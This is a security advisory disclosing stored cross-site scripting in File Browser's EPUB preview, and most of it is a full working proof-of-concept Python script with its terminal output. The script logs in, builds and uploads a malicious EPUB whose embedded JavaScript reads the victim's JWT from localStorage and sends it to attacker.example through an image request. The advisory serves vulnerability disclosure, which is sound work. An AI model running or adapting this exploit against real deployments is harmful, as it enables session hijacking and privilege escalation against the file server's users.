GHSA-5vpr-4fgw-f69h
File Browser is vulnerable to Stored Cross-site Scripting via crafted EPUB file
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| Go | github.com/filebrowser/filebrowser/v2 | < 2.62.2 | 2.62.2 |
Details
As written in the advisory (Markdown source, shown as plain text).
### Summary
The EPUB preview function in File Browser is vulnerable to Stored Cross-site Scripting (XSS). JavaScript embedded in a crafted EPUB file executes in the victim's browser when they preview the file.
### Details
`frontend/src/views/files/Preview.vue` passes `allowScriptedContent: true` to the `vue-reader` (epub.js) component:
```js
// frontend/src/views/files/Preview.vue (Line 87)
:epubOptions="{
allowPopups: true,
allowScriptedContent: true,
}"
```
epub.js renders EPUB content inside a sandboxed <iframe> with srcdoc. However, the sandbox includes both allow-scripts and allow-same-origin, which [renders the sandbox ineffective](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe#allow-top-navigation-to-custom-protocols) — the script can access the parent frame's DOM and storage.
The epub.js developers explicitly [warn against enabling scripted content](https://github.com/futurepress/epub.js?tab=readme-ov-file#scripted-content).
### PoC
I've crafted the PoC python script that could be ran on test environment using docker compose:
```yaml
services:
filebrowser:
image: filebrowser/filebrowser:v2.62.1
user: 0:0
ports:
- "80:80"
```
And running this PoC python script:
```python
import argparse
import io
import sys
import zipfile
import requests
BANNER = """
Stored XSS via EPUB PoC
Affected: filebrowser/filebrowser <=v2.62.1
Root cause: Preview.vue -> epubOptions: { allowScriptedContent: true }
Related: CVE-2024-35236 (same pattern in audiobookshelf)
"""
CONTAINER_XML = """<?xml version="1.0" encoding="UTF-8"?>
<container version="1.0" xmlns="urn:oasis:names:tc:opendocument:xmlns:container">
<rootfiles>
<rootfile full-path="OEBPS/content.opf" media-type="application/oebps-package+xml"/>
</rootfiles>
</container>"""
CONTENT_OPF = """<?xml version="1.0" encoding="UTF-8"?>
<package xmlns="http://www.idpf.org/2007/opf" unique-identifier="uid" version="3.0">
<metadata xmlns:dc="http://purl.org/dc/elements/1.1/">
<dc:identifier id="uid">poc-xss-epub-001</dc:identifier>
<dc:title>Security Test Document</dc:title>
<dc:language>en</dc:language>
<meta property="dcterms:modified">2025-01-01T00:00:00Z</meta>
</metadata>
<manifest>
<item id="chapter1" href="chapter1.xhtml" media-type="application/xhtml+xml"/>
<item id="nav" href="nav.xhtml" media-type="application/xhtml+xml" properties="nav"/>
</manifest>
<spine>
<itemref idref="chapter1"/>
</spine>
</package>"""
NAV_XHTML = """<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:epub="http://www.idpf.org/2007/ops">
<head><title>Navigation</title></head>
<body>
<nav epub:type="toc">
<ol><li><a href="chapter1.xhtml">Chapter 1</a></li></ol>
</nav>
</body>
</html>"""
XSS_CHAPTER = """<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head><title>Chapter 1</title></head>
<body>
<h1>Security Test Document</h1>
<p>This document tests EPUB script execution in File Browser.</p>
<p id="xss-proof" style="color: red; font-weight: bold;">Waiting...</p>
<p id="ip-proof" style="color: orange; font-weight: bold;">Fetching IP...</p>
<script>
var out = document.getElementById("xss-proof");
var ipOut = document.getElementById("ip-proof");
var jwt = "not-found";
try { jwt = window.parent.localStorage.getItem("jwt"); } catch(e) { jwt = "error: " + e.message; }
out.innerHTML = "XSS OK" + String.fromCharCode(60) + "br/" + String.fromCharCode(62) + "JWT: " + jwt;
fetch("https://ifconfig.me/ip").then(function(r){ return r.text(); }).then(function(ip){
ipOut.textContent = "Victim public IP: " + ip.trim();
}).catch(function(e){
ipOut.textContent = "IP fetch failed: " + e.message;
});
var img = new Image();
img.src = "https://attacker.example/?stolen=" + encodeURIComponent(jwt);
</script>
</body>
</html>"""
def login(base: str, username: str, password: str) -> str:
r = requests.post(f"{base}/api/login",
json={"username": username, "password": password},
timeout=10)
if r.status_code != 200:
print(f"[-] Login failed: {r.status_code}")
sys.exit(1)
return r.text.strip('"')
def build_epub() -> bytes:
"""Build a minimal EPUB 3 file with embedded JavaScript."""
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
zf.writestr("mimetype", "application/epub+zip", compress_type=zipfile.ZIP_STORED)
zf.writestr("META-INF/container.xml", CONTAINER_XML)
zf.writestr("OEBPS/content.opf", CONTENT_OPF)
zf.writestr("OEBPS/nav.xhtml", NAV_XHTML)
zf.writestr("OEBPS/chapter1.xhtml", XSS_CHAPTER)
return buf.getvalue()
def main():
print(BANNER)
ap = argparse.ArgumentParser(
formatter_class=argparse.RawDescriptionHelpFormatter,
description="Stored XSS via malicious EPUB PoC",
epilog="""examples:
%(prog)s -t http://localhost:8080 -u admin -p admin
%(prog)s -t http://target.com/filebrowser -u user -p pass
root cause:
frontend/src/views/files/Preview.vue passes
epubOptions: { allowScriptedContent: true } to the vue-reader
(epub.js) component. The iframe sandbox includes allow-scripts
and allow-same-origin, which lets the script access the parent
frame's localStorage and make arbitrary network requests.
impact:
Session hijacking, privilege escalation, data exfiltration.
A low-privilege user with upload access can steal admin tokens.""",
)
ap.add_argument("-t", "--target", required=True,
help="Base URL of File Browser (e.g. http://localhost:8080)")
ap.add_argument("-u", "--user", required=True,
help="Username to authenticate with")
ap.add_argument("-p", "--password", required=True,
help="Password to authenticate with")
if len(sys.argv) == 1:
ap.print_help()
sys.exit(1)
args = ap.parse_args()
base = args.target.rstrip("/")
print()
print("[*] ATTACK BEGINS...")
print("====================")
print(f" [1] Authenticating to {base}")
token = login(base, args.user, args.password)
print(f" Logged in as: {args.user}")
print(f"\n [2] Building malicious EPUB")
epub_data = build_epub()
print(f" EPUB size: {len(epub_data)} bytes")
upload_path = "/poc_xss_test.epub"
print(f"\n [3] Uploading to {upload_path}")
requests.delete(f"{base}/api/resources{upload_path}",
headers={"X-Auth": token}, timeout=10)
r = requests.post(
f"{base}/api/resources{upload_path}?override=true",
data=epub_data,
headers={
"X-Auth": token,
"Content-Type": "application/epub+zip",
},
timeout=30
)
if r.status_code in (200, 201, 204):
print(f" Upload OK ({r.status_code})")
else:
print(f" Upload FAILED: {r.status_code} {r.text[:200]}")
sys.exit(1)
preview_url = f"{base}/files{upload_path}"
print(f"\n [4] Done")
print(f" Preview URL: {preview_url}")
print("====================")
print()
print()
print(f"Open the URL above in a browser. You should see:")
print(f" - Red text: \"XSS OK\" + stolen JWT token")
print(f" - Orange text: victim's public IP (via ifconfig.me)")
print()
print(f"NOTE: alert() is blocked by iframe sandbox (no allow-modals).")
print(f"The attack is silent — JWT theft and network exfiltration work.")
if __name__ == "__main__":
main()
```
And terminal output:
```bash
root@server205:~/sec-filebrowser# python3 poc_xss_epub.py -t http://localhost -u admin -p VJlfum8fGTmyXx8t
Stored XSS via EPUB PoC
Affected: filebrowser/filebrowser <=v2.62.1
Root cause: Preview.vue -> epubOptions: { allowScriptedContent: true }
Related: CVE-2024-35236 (same pattern in audiobookshelf)
[*] ATTACK BEGINS...
====================
[1] Authenticating to http://localhost
Logged in as: admin
[2] Building malicious EPUB
EPUB size: 1927 bytes
[3] Uploading to /poc_xss_test.epub
Upload OK (200)
[4] Done
Preview URL: http://localhost/files/poc_xss_test.epub
====================
Open the URL above in a browser. You should see:
- Red text: "XSS OK" + stolen JWT token
- Orange text: victim's public IP (via ifconfig.me)
NOTE: alert() is blocked by iframe sandbox (no allow-modals).
The attack is silent — JWT theft and network exfiltration work.
```
<br/>
### Impact
- JWT token theft — full session hijacking
- Privilege escalation — a low-privilege user with upload (Create) permission can steal an admin's token
References
External links from the advisory. They lead to third-party sites.